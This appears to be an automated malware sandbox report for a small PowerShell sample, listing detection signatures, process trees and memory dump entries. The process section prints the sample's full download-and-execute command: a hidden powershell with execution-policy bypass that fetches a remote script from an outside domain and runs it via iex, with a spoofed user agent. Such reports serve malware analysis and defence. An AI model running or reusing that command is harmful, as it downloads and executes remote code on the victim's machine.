Analysis
- max time kernel
118s - max time network
121s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
23/08/2026, 19:30
General
- Target payload.ps1
- Size 209B
- Sample260823-x77ndazcnh
- SHA256 56bc4b93cde3c54556eb17976b0b8f0a83ef0b198cfe3c424af70cc02401a974
Malware Config
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Adds Run key to start application 2 TTPs 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exepowershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\payload.ps11⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w h -ep bypass -c "iex((iwr 'https://tin.tokyo77hit.com/update.ps1' -UseBasicParsing -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Safari/537.36 Edg/144.0.0.0').Content)"2⤵
- Badlisted process makes network request
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
__PSScriptPolicyTest_jjp1drzj.pi1.ps1
memory/464-29-0x000001C27D470000-0x000001C27D522000-memory.dmp
memory/464-25-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp
memory/464-33-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp
memory/464-31-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp
memory/464-20-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp
memory/464-19-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp
memory/464-28-0x000001C27D450000-0x000001C27D46E000-memory.dmp
memory/464-13-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp
memory/464-14-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp
memory/464-15-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp
memory/464-16-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp
memory/464-18-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp
memory/464-30-0x000001C27D530000-0x000001C27D53A000-memory.dmp
memory/464-17-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp
memory/464-24-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp
memory/464-21-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp
memory/464-22-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp
memory/3340-23-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp
memory/3340-8-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp
memory/3340-0-0x00007FF8CFE3F000-0x00007FF8CFE40000-memory.dmp
memory/3340-5-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp
memory/3340-12-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp
memory/3340-4-0x0000023312D20000-0x0000023312D42000-memory.dmp
memory/3340-11-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp
memory/3340-7-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp
memory/3340-6-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp
memory/3340-1-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp
memory/3340-36-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp